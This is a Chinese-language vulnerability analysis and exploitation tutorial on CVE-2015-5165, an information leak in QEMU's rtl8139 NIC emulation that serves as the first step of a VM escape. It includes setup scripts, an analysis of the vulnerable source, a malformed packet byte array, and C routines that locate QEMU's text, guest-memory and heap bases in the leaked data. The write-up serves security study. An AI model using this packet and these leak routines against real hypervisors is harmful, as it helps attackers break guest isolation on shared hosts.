作者:raycp
原文來自安全客:https://www.anquanke.com/post/id/197637

CVE-2015-5165及CVE-2015-7504,很經典的一個qemu逃逸漏洞,想通過它來學習qemu的cve。篇幅的原因,先分析CVE-2015-5165。

環境搭建

首先是編譯qemu:

git clone git://git.qemu-project.org/qemu.git
cd qemu
git checkout bd80b59
mkdir -p bin/debug/naive
cd bin/debug/naive
../../../configure --target-list=x86_64-softmmu --enable-debug --disable-werror
make

qemu的路徑在./qemu/bin/debug/native/x86_64-softmmu/qemu-system-x86_64--enable-debug保留了調試符號,可以源代碼調試,很舒服。

接著是制作qemu虛擬機,包括兩個部分一個是文件系統鏡像,一個是內核。

可以使用debootstrap制作debian文件系統鏡像。

安裝debootstrap

sudo apt-get install debootstrap

參考create-image.sh制作了一個2GB大小的rootfs.img鏡像文件。

mkdir rootfs

sudo debootstrap --include=openssh-server,curl,tar,gcc,\
libc6-dev,time,strace,sudo,less,psmisc,\
selinux-utils,policycoreutils,checkpolicy,selinux-policy-default \
stretch rootfs

set -eux

# Set some defaults and enable promtless ssh to the machine for root.
sudo sed -i '/^root/ { s/:x:/::/ }' rootfs/etc/passwd
echo 'T0:23:respawn:/sbin/getty -L ttyS0 115200 vt100' | sudo tee -a rootfs/etc/inittab
#printf '\nauto enp0s3\niface enp0s3 inet dhcp\n' | sudo tee -a qemu/etc/network/interfaces
printf '\nallow-hotplug enp0s3\niface enp0s3 inet dhcp\n' | sudo tee -a rootfs/etc/network/interfaces
echo 'debugfs /sys/kernel/debug debugfs defaults 0 0' | sudo tee -a rootfs/etc/fstab
echo "kernel.printk = 7 4 1 3" | sudo tee -a rootfs/etc/sysctl.conf
echo 'debug.exception-trace = 0' | sudo tee -a rootfs/etc/sysctl.conf
echo "net.core.bpf_jit_enable = 1" | sudo tee -a rootfs/etc/sysctl.conf
echo "net.core.bpf_jit_harden = 2" | sudo tee -a rootfs/etc/sysctl.conf
echo "net.ipv4.ping_group_range = 0 65535" | sudo tee -a rootfs/etc/sysctl.conf
echo -en "127.0.0.1\tlocalhost\n" | sudo tee rootfs/etc/hosts
echo "nameserver 8.8.8.8" | sudo tee -a rootfs/etc/resolve.conf
echo "ubuntu" | sudo tee rootfs/etc/hostname
sudo mkdir -p rootfs/root/.ssh/
rm -rf ssh
mkdir -p ssh
ssh-keygen -f ssh/id_rsa -t rsa -N ''
cat ssh/id_rsa.pub | sudo tee rootfs/root/.ssh/authorized_keys

# Build a disk image
dd if=/dev/zero of=rootfs.img bs=1M seek=2047 count=1
sudo mkfs.ext4 -F rootfs.img
sudo mkdir -p /mnt/rootfs
sudo mount -o loop rootfs.img /mnt/rootfs
sudo cp -a rootfs/. /mnt/rootfs/.
sudo umount /mnt/rootfs

然后是編譯內核,對應的內核文件路徑為./linux-5.2.11/arch/x86/boot/bzImage

wget https://cdn.kernel.org/pub/linux/kernel/v5.x/linux-5.2.11.tar.xz -O linux-5.2.11.tar.xz
tar -xvf linux-5.2.11.tar.xz
make defconfig
make kvmconfig
#編輯 .config 文件, 將 CONFIG_8139CP=y 和 CONFIG_PCNET32=y 打開
make -j4

要確保下面兩個配置選項是打開的, 否則系統啟動的時候會出現發現啟動網卡的錯誤,因為對應的網卡驅動沒有編譯進去。

CONFIG_8139CP=y  , rtl8139 驅動
CONFIG_PCNET32=y , pcnet 驅動

然后使用下面的launch.sh就可以啟動虛擬機了,因為將22端口轉發到了本地的10021端口,所以可以通過ssh -i ./ssh/id_rsa -p 10021 root@localhost,登進去虛擬機對虛擬機進行管理,以及通過scp傳遞文件。

$ cat launch.sh
#!/bin/sh
./qemu/bin/debug/native/x86_64-softmmu/qemu-system-x86_64 \
    -kernel ./linux-5.2.11/arch/x86/boot/bzImage  \
    -append "console=ttyS0 root=/dev/sda rw"  \
    -hda ./rootfs.img  \
    -enable-kvm -m 2G -nographic \
    -netdev user,id=t0, -device rtl8139,netdev=t0,id=nic0 \
    -netdev user,id=t1, -device pcnet,netdev=t1,id=nic1 \
    -net user,hostfwd=tcp::10021-:22 -net nic

漏洞分析

在開始漏洞分析之前需要先介紹下rtl8139的部分寄存器,與漏洞相關部分如下:

            +---------------------------+----------------------------+
    0x00    |           MAC0            |            MAR0            |
            +---------------------------+----------------------------+
    0x10    |                       TxStatus0                        |
            +--------------------------------------------------------+
    0x20    |                        TxAddr0                         |
            +-------------------+-------+----------------------------+
    0x30    |        RxBuf      |ChipCmd|                            |
            +-------------+------+------+----------------------------+
    0x40    |   TxConfig  |  RxConfig   |            ...             |
            +-------------+-------------+----------------------------+
            |                                                        |
            |             skipping irrelevant registers              |
            |                                                        |
            +---------------------------+--+------+------------------+
    0xd0    |           ...             |  |TxPoll|      ...         |
            +-------+------+------------+--+------+--+---------------+
    0xe0    | CpCmd |  ... |RxRingAddrLO|RxRingAddrHI|    ...        |
            +-------+------+------------+------------+---------------+

其在qemu中對應的結構體為RTL8139State,其中比較關鍵的部分如下:

  • TxConfig:開啟/關閉Tx的標記,包括TxLoopBack (開啟loopback測試模式)以及TxCRC (Tx包是否添加校驗碼)。
  • RxConfig:開啟/關閉Rx的標記,比如AcceptBroadcast(接收廣播包), AcceptMulticast(接收組播包)等。
  • CpCmd:C+指令寄存器用來執行一些函數,比如 CplusRxEnd(允許接收),CplusTxEnd(允許發送)等。
  • TxAddr0:Tx表的物理內存地址。
  • RxRingAddrLO:Rx表的物理內存地址的低32位。
  • RxRingAddrHI:Rx表的物理內存地址的高32位。
  • TxPoll:告訴網卡檢查Tx緩沖區。

經過對代碼的學習,知道了Tx緩沖區是網卡的發送數據緩沖區,而Rx緩沖區則是接收數據緩沖區。Tx表以及Rx表為一個16字節結構體大小的數組,該表中的rtl8139_desc包含緩沖區的具體位置,定義如下:

struct rtl8139_ring {
        struct rtl8139_desc *desc;
        void                *buffer;
};

其中Rx/Tx-descriptor定義如下,dw0中包含一些標志位,buf_lobuf_hi表示Tx/Rx緩沖的物理內存地址的低32位和高32位,這些地址指向存儲要發送/接收的包的緩沖區,必須與頁面大小對齊:

struct rtl8139_desc {
        uint32_t dw0;
        uint32_t dw1;
        uint32_t buf_lo;
        uint32_t buf_hi;
};

rtl8139網卡對應的文件在/hw/net/rtl8139.c中,首先是漏洞關鍵部分代碼,在函數rtl8139_cplus_transmit_one中,該函數更多的是和tx寄存器相關,發送的數據是Tx緩沖區中的數據(可控),檢查的相關標志位為txdw0:

        uint8_t *saved_buffer  = s->cplus_txbuffer;
        int      saved_size    = s->cplus_txbuffer_offset;
        int      saved_buffer_len = s->cplus_txbuffer_len;

        ...

        if (txdw0 & (CP_TX_IPCS | CP_TX_UDPCS | CP_TX_TCPCS | CP_TX_LGSEN))
        {
            DPRINTF("+++ C+ mode offloaded task checksum\n");

            /* ip packet header */
            ip_header *ip = NULL;
            int hlen = 0;
            uint8_t  ip_protocol = 0;
            uint16_t ip_data_len = 0;

            uint8_t *eth_payload_data = NULL;
            size_t   eth_payload_len  = 0;

            int proto = be16_to_cpu(*(uint16_t *)(saved_buffer + 12));
            if (proto == ETH_P_IP)
            {
                DPRINTF("+++ C+ mode has IP packet\n");

                /* not aligned */
                eth_payload_data = saved_buffer + ETH_HLEN;
                eth_payload_len  = saved_size   - ETH_HLEN;

                ip = (ip_header*)eth_payload_data;

                if (IP_HEADER_VERSION(ip) != IP_HEADER_VERSION_4) {
                    DPRINTF("+++ C+ mode packet has bad IP version %d "
                        "expected %d\n", IP_HEADER_VERSION(ip),
                        IP_HEADER_VERSION_4);
                    ip = NULL;
                } else {
                    hlen = IP_HEADER_LENGTH(ip);
                    ip_protocol = ip->ip_p;
                    ip_data_len = be16_to_cpu(ip->ip_len) - hlen;
                      }
            }

漏洞的關鍵代碼為ip_data_len = be16_to_cpu(ip->ip_len) - hlen,沒有對ip->ip_len的長度以及hlen進行檢查,hlen為20,當be16_to_cpu(ip->ip_len)小于20時,會導致ip_data_len為負數。因為ip_data_len的變量類型為uint16_t,所以會在最后發送ip數據包時將負數當成正數來發送,導致多余的數據泄露出來。

下面先看當ip_data_len為負數時,數據時如何泄露出來的,關鍵代碼如下:

                    ...
                    /* pointer to TCP header */
                    tcp_header *p_tcp_hdr = (tcp_header*)(eth_payload_data + hlen);
                    /* ETH_MTU = ip header len + tcp header len + payload */
                    int tcp_data_len = ip_data_len - tcp_hlen;
                    int tcp_chunk_size = ETH_MTU - hlen - tcp_hlen;
                    ...
                    /* note the cycle below overwrites IP header data,
                       but restores it from saved_ip_header before sending packet */

                    int is_last_frame = 0;

                    for (tcp_send_offset = 0; tcp_send_offset < tcp_data_len; tcp_send_offset += tcp_chunk_size)
                    {
                        uint16_t chunk_size = tcp_chunk_size;

                        /* check if this is the last frame */
                        if (tcp_send_offset + tcp_chunk_size >= tcp_data_len)
                        {
                            is_last_frame = 1;
                            chunk_size = tcp_data_len - tcp_send_offset;
                        }

                        ...

                        if (tcp_send_offset)
                        {
                            memcpy((uint8_t*)p_tcp_hdr + tcp_hlen, (uint8_t*)p_tcp_hdr + tcp_hlen + tcp_send_offset, chunk_size);
                        }

                        ...
                        rtl8139_transfer_frame(s, saved_buffer, tso_send_size,
                            0, (uint8_t *) dot1q_buffer);

可以看到因為eth包最大的發包長度有限,所以會將tcp數據按長度進行切割,每次發送固定長度的數據包,因為ip_data_len已經被覆蓋成了負數(最大可為65535),因此后面的代碼memcpy((uint8_t*)p_tcp_hdr + tcp_hlen, (uint8_t*)p_tcp_hdr + tcp_hlen + tcp_send_offset, chunk_size);會將p_tcp_hdr正常的數據以外的額外的數據拷貝出來,通過rtl8139_transfer_frame發送出去。

再看rtl8139_transfer_frame函數,當Tx寄存器包含TxLoopBack標志位時,程序會調用rtl8139_do_receive函數降數據回發送回給自己:

static void rtl8139_transfer_frame(RTL8139State *s, uint8_t *buf, int size,
    int do_interrupt, const uint8_t *dot1q_buf)
{
    ...

    if (TxLoopBack == (s->TxConfig & TxLoopBack))
    {
       ...

        DPRINTF("+++ transmit loopback mode\n");
        rtl8139_do_receive(qemu_get_queue(s->nic), buf, size, do_interrupt); 

        ...
        }
    }
    ...
}

去看rtl8139_do_receive函數,當發送包(buf)的目標mac地址與網卡的地址一致且Rx寄存器標志位包含AcceptMyPhys標志時,會將發送出來的數據保存到相應的Rx緩沖區中,對應的代碼為pci_dma_write(d, rx_addr, buf, size)rx_addr為相應的Rx-descriptorbuf_LObuf_HI組成的物理地址:

static ssize_t rtl8139_do_receive(NetClientState *nc, const uint8_t *buf, size_t size_, int do_interrupt)
{
    ...

    /* XXX: check this */
    if (s->RxConfig & AcceptAllPhys) {
        /* promiscuous: receive all */
        ...

    } else {
        ...
                //發送包的目標mac地址與網卡地址對比
        } else if (s->phys[0] == buf[0] &&
                   s->phys[1] == buf[1] &&
                   s->phys[2] == buf[2] &&
                   s->phys[3] == buf[3] &&
                   s->phys[4] == buf[4] &&
                   s->phys[5] == buf[5]) {
            /* match */
            if (!(s->RxConfig & AcceptMyPhys))
            {
                DPRINTF(">>> rejecting physical address matching packet\n");

                /* update tally counter */
                ++s->tally_counters.RxERR;

                return size;
            }

           ...
        }
    }

    ...

    if (rtl8139_cp_receiver_enabled(s))
    {
        if (!rtl8139_cp_rx_valid(s)) {
            return size;
        }

        DPRINTF("in C+ Rx mode ================\n");

        ...

        int descriptor = s->currCPlusRxDesc;
        dma_addr_t cplus_rx_ring_desc;

        cplus_rx_ring_desc = rtl8139_addr64(s->RxRingAddrLO, s->RxRingAddrHI);
        cplus_rx_ring_desc += 16 * descriptor;

        DPRINTF("+++ C+ mode reading RX descriptor %d from host memory at "
            "%08x %08x = "DMA_ADDR_FMT"\n", descriptor, s->RxRingAddrHI,
            s->RxRingAddrLO, cplus_rx_ring_desc);

        uint32_t val, rxdw0,rxdw1,rxbufLO,rxbufHI;

        pci_dma_read(d, cplus_rx_ring_desc, &val, 4);
        rxdw0 = le32_to_cpu(val);
        pci_dma_read(d, cplus_rx_ring_desc+4, &val, 4);
        rxdw1 = le32_to_cpu(val);
        pci_dma_read(d, cplus_rx_ring_desc+8, &val, 4);
        rxbufLO = le32_to_cpu(val);
        pci_dma_read(d, cplus_rx_ring_desc+12, &val, 4);
        rxbufHI = le32_to_cpu(val);

        DPRINTF("+++ C+ mode RX descriptor %d %08x %08x %08x %08x\n",
            descriptor, rxdw0, rxdw1, rxbufLO, rxbufHI);

        if (!(rxdw0 & CP_RX_OWN))
        {
            ...
        }

        uint32_t rx_space = rxdw0 & CP_RX_BUFFER_SIZE_MASK;

        ...

        dma_addr_t rx_addr = rtl8139_addr64(rxbufLO, rxbufHI);

        /* receive/copy to target memory */
        if (dot1q_buf) {
            ...
        } else {
            pci_dma_write(d, rx_addr, buf, size);
        }

        ...
}

到此漏洞的原理可以大致弄清楚了:tx緩沖區中包含了要發送的數據包,在發送的過程中,因為沒有對ip->ip_len進行檢查,導致程序判定tcp的數據包長度超出了原有的長度,因此會將數據包進行切割將數據發送出去,導致了非預期的信息泄露;同時當Tx標志位包含TxLoopBack時,會將數據包發送給自己的網卡并且發送數據的mac地址為自身網卡以及rx標志位包含AcceptAllPhys時會將相應的數據保存到rx緩沖區中,因此構造好相應的數據我們就可以從rx緩沖區的數據中讀取到信息泄露的數據。

流程分析

弄清楚了漏洞原理后,想進一步分析看如何才能夠構造好相應的網卡以及觸發漏洞,因此對該網卡進行一定的分析。

apt-get install pciutils安裝lspci工具,然后查看pci設備:

root@ubuntu:~# lspci
...
00:04.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL-8100/8101L/8139 PCI Fast Ethernet Adapter (rev 20)

root@ubuntu:~# lspci -v -s 00:04.0
00:04.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL-8100/8101L/8139 PCI Fast Ethernet Adapter (rev 20)
        Subsystem: Red Hat, Inc QEMU Virtual Machine
        Flags: bus master, fast devsel, latency 0, IRQ 11
        I/O ports at c000 [size=256]
        Memory at febf1000 (32-bit, non-prefetchable) [size=256]
        Expansion ROM at feb40000 [disabled] [size=256K]
        Kernel driver in use: 8139cp
lspci: Unable to load libkmod resources: error -12

pmio空間對應的端口地址為0xc000,大小為256。

再去看網卡的realize函數:

static void pci_rtl8139_realize(PCIDevice *dev, Error **errp)
{
    ...

    memory_region_init_io(&s->bar_io, OBJECT(s), &rtl8139_io_ops, s,
                          "rtl8139", 0x100);
    ...
}

可以看到pmio對應的操作為rtl8139_io_ops,其定義如下:

static const MemoryRegionOps rtl8139_io_ops = {
    .read = rtl8139_ioport_read,
    .write = rtl8139_ioport_write,
    .impl = {
        .min_access_size = 1,
        .max_access_size = 4,
    },
    .endianness = DEVICE_LITTLE_ENDIAN,
};

要設置網卡更多的關鍵為rtl8139_ioport_write,根據size的大小分成了writebwritew以及writel函數,每個函數中根據addr可以設置網卡相應寄存器的值:

static void rtl8139_ioport_write(void *opaque, hwaddr addr,
                                 uint64_t val, unsigned size)
{
    switch (size) {
    case 1:
        rtl8139_io_writeb(opaque, addr, val);
        break;
    case 2:
        rtl8139_io_writew(opaque, addr, val);
        break;
    case 4:
        rtl8139_io_writel(opaque, addr, val);
        break;
    }
}

然后去看漏洞函數調用路徑,尋找如何觸發漏洞。

漏洞函數為rtl8139_cplus_transmit_one,查看它的引用:

static void rtl8139_cplus_transmit(RTL8139State *s)
{
    int txcount = 0;

    while (rtl8139_cplus_transmit_one(s))
    {
        ++txcount;
    }
    ...
}

再看rtl8139_cplus_transmit的引用:

static void rtl8139_io_writeb(void *opaque, uint8_t addr, uint32_t val)
{
  ...
    switch (addr)
    {
        ...
        case TxPoll:
            DPRINTF("C+ TxPoll write(b) val=0x%02x\n", val);
            if (val & (1 << 7))
            {
                DPRINTF("C+ TxPoll high priority transmission (not "
                    "implemented)\n");
                //rtl8139_cplus_transmit(s);
            }
            if (val & (1 << 6))
            {
                DPRINTF("C+ TxPoll normal priority transmission\n");
                rtl8139_cplus_transmit(s);
            }

            break;

            ...
    }
}

可以看到rtl8139_io_writeb函數調用了rtl8139_cplus_transmit函數,當addr為TxPoll且value為1<<6時,觸發對rtl8139_cplus_transmi函數,也就對應上了前面說的TxPoll的功能為告訴網卡檢查Tx緩沖區。

還有一些寄存器的設置,包括Tx/Rx 表的設置以及Tx/RxConfig寄存器的設置,也都可以相應的在rtl8139_ioport_write函數中找到對應的配置。

漏洞利用

利用包含五個部分:

  • 惡意網卡發送數據包的構造
  • 網卡寄存器的配置
  • 網卡發送緩沖區的配置
  • 網卡接收緩沖區的配置
  • 泄露信息的分析

首先是惡意網卡發送數據包的構造,rtl8139_cplus_transmit_one函數中處理的數據是Tx發送緩沖區中的數據。一個數據包是以太網幀,其相關格式如下:

比較關鍵的點在于目的地址,因為后面會判斷mac地址與自身mac地址是否相等,因此需要將目的地址設置成網卡的mac地址52:54:00:12:34:57

root@ubuntu:~# ifconfig -a
...
enp0s4: flags=4098<BROADCAST,MULTICAST>  mtu 1500
        ether 52:54:00:12:34:57  txqueuelen 1000  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

還需要將類型設置成0x0800即IP包。

下一層數據包為IP數據包格式,格式如下:

在這個包中需要構造的就是16位總長度了,#define IP_HEADER_LENGTH(ip) (((ip->ip_ver_len)&0xf) << 2)的長度為5<<2是20,因此需要構造ip->ip_len長度為19(0x13),實現了漏洞構造ip_data_len0xffff

hlen = IP_HEADER_LENGTH(ip);
ip_protocol = ip->ip_p;
ip_data_len = be16_to_cpu(ip->ip_len) - hlen;

最后是一個tcp數據包,tcp數據包沒有什么需要特別構造的,正常構造即可。

最后構造出來的packet數據如下:

/* malformed ip packet with corrupted header size */
uint8_t malformed_eth_packet[]={
    0x52, 0x54, 0x00, 0x12, 0x34, 0x57, 0x52, 0x54, 0x00, 0x12, 0x34, 0x57,  // 6 bytes dst mac addr, 6 bytes src mac addr
    0x08, 0x00, 0x45, 0x00, 0x00, 0x13, 0xde, 0xad, 0x40, 0x00, 0x40, 0x06,  // 2 bytes type, 0x0800 is ip, one byte (4 bits ip version, 4 bits ip header len), one bytes TOS, 2 bytes total len(0x0013, 0x13-0x5<<2=0xffff which will cause vuln), 2 bytes id, 2 bytes fragment offsets, one bytes ttl, one byte protocol(6 means IP protocol)
    0xff, 0xff, 0x7f, 0x00, 0x00, 0x01, 0x7f, 0x00, 0x00, 0x01, 0x04, 0x00, // 2 bytes checksum, 4 bytes src ip addr, 4 bytes dst ip addr,  2 bytes src port
    0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x50, 0x10, // 2 bytes dst port, 4 bytes serial number, 4 bytes ack number, 2 bytes len(4 bits tcp header len)
    0x00, 0x00, 0xff, 0xff, 0x00, 0x00// 2 bytes window size, 2 bytes checksum, 2 bytes urge pointer
};

第二部分是網卡寄存器的配置,主要是為了能夠成功觸發漏洞與泄露信息,需要配置網卡。包括為了開啟transmitter以及receiver,需要配置bChipCmdStateCmdTxEnb以及CmdRxEnb;為了開啟cp_transmitter以及cp_receiver,需要配置CpCmdCPlusTxEnb以及CPlusRxEnb;還需要配置TxConfigTxLoopBack以及配置RxConfigAcceptMyPhys

第三部分則是配置Tx發送緩沖區,主要是配置TxAddr0,設置Tx表的地址。申請好空間,構造好Tx descriptor,將惡意網卡數據的地址填到相應的buf_LO以及buf_HI中。這兩個地址都是需要相應的物理地址,需要實現虛擬地址到物理地址的轉換。

第四部分是配置Rx接收緩沖區,主要是配置RxRingAddrLO以及RxRingAddrHI,設置Rx表的地址。因為泄露的信息約為64kb數據,需要申請44個Rx接收緩沖區來保存數據。

最后是信息泄露的分析,如何從泄露出來的數據得到包括程序的基址等有效的信息。可以像phrack文章中寫的一樣,通過二分法找到struct ObjectProperty結構體內存。參考了dangokyo的exp,通過比對泄露出來地址的低12位以及最高位可以確定出程序基址。

typedef struct ObjectProperty
{
    gchar *name;
    gchar *type;
    gchar *description;
    ObjectPropertyAccessor *get;
    ObjectPropertyAccessor *set;
    ObjectPropertyResolve *resolve;
    ObjectPropertyRelease *release;
    void *opaque;

    QTAILQ_ENTRY(ObjectProperty) node;
} ObjectProperty;
uint64_t qemu_search_text_base(void* ptr, size_t size)
{
    size_t i;
    uint64_t property_get_bool_offset = 0x36bacd;
    uint64_t *int_ptr, addr, text_base =0;

    for (i=0; i<size-8; i+=8) {

        int_ptr=(uint64_t*)(ptr+i);
        addr=*int_ptr;

        if( ((addr & 0xfffff00000000000) == 0x500000000000)
                && (( (addr - property_get_bool_offset) & 0xfff ) == 0) )
        {
            text_base = addr - property_get_bool_offset;
            break;
        }

    }

    return text_base;

}

同時還需要泄露qemu為虛擬機所分配的進程內存的地址,即下表的0x7f7a04000000

0x7f7a04000000     0x7f7a84000000 rw-p 80000000 0
0x7f7a84000000     0x7f7a8476e000 rw-p   76e000 0

經過分析,泄露出來的數據最高位為0x7的好像都為0x7f7a84000000內存塊中的數據,因此可以通過偏移得到虛擬機物理內存所對應的地址PHY_MEM

uint64_t qemu_search_phy_base(void *ptr, size_t size)
{
        size_t i;
        uint64_t *int_ptr, addr, phy_base = 0;

        for (i = 0; i < size-8; i += 8)
        {
                    int_ptr = (uint64_t*)(ptr+i);
                    addr = *int_ptr;
                if((addr  & 0xfffff00000000000) == 0x700000000000)
                {
                        addr = addr & 0xffffffffff000000;
                        phy_base = addr - 0x80000000;
                        break;
                }
        }

    return phy_base;
}

最后是泄露heap的基址,我在里面找了一些堆的基址,通過偏移來確定來heap的地址。:

uint64_t qemu_search_heap_base(void *ptr, size_t size, uint64_t text_base)
{
        size_t i;
    size_t j;
        uint64_t *int_ptr, addr, heap_base = 0;
        uint64_t target_offset[] = {0x4a7c0, 0x1470208, 0x1765d70, 0xd3c748, 0xe883b8};
        for (i = 0; i < size-8; i += 8)
        {
        int_ptr = (uint64_t*)(ptr+i);
        addr = *int_ptr;
        //printf("i: %d 0x%lx\n",i, addr);
        if((addr & 0xffff00000000) == (text_base & 0xffff00000000) && addr!=0) {
            if( (addr - text_base) >  0xd5c000) {
                for(j = 0; j < sizeof(target_offset)/sizeof(int64_t); j++) {
                    if(((addr -target_offset[j])&0xfff) == 0) {
                        heap_base = addr - target_offset[j];
                        break;
                    }
                }
            }
        }
        if(heap_base != 0)
            break;
    }
    return heap_base;
}

小結

真實的漏洞還是比之前ctf題目稍微復雜一些,調起來還是有收獲。

相關文件以及腳本鏈接

參考鏈接

  1. 虛擬機逃逸——QEMU的案例分析(一)
  2. 虛擬機逃逸——QEMU的案例分析(二)
  3. 前往黑暗之門!Debugee in QEMU
  4. VM escape–QEMU Case Study
  5. QEMU escape: Part 3 Information Leakage (CVE-2015-5165)
  6. Setup: Ubuntu host, QEMU vm, x86-64 kernel

Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1362/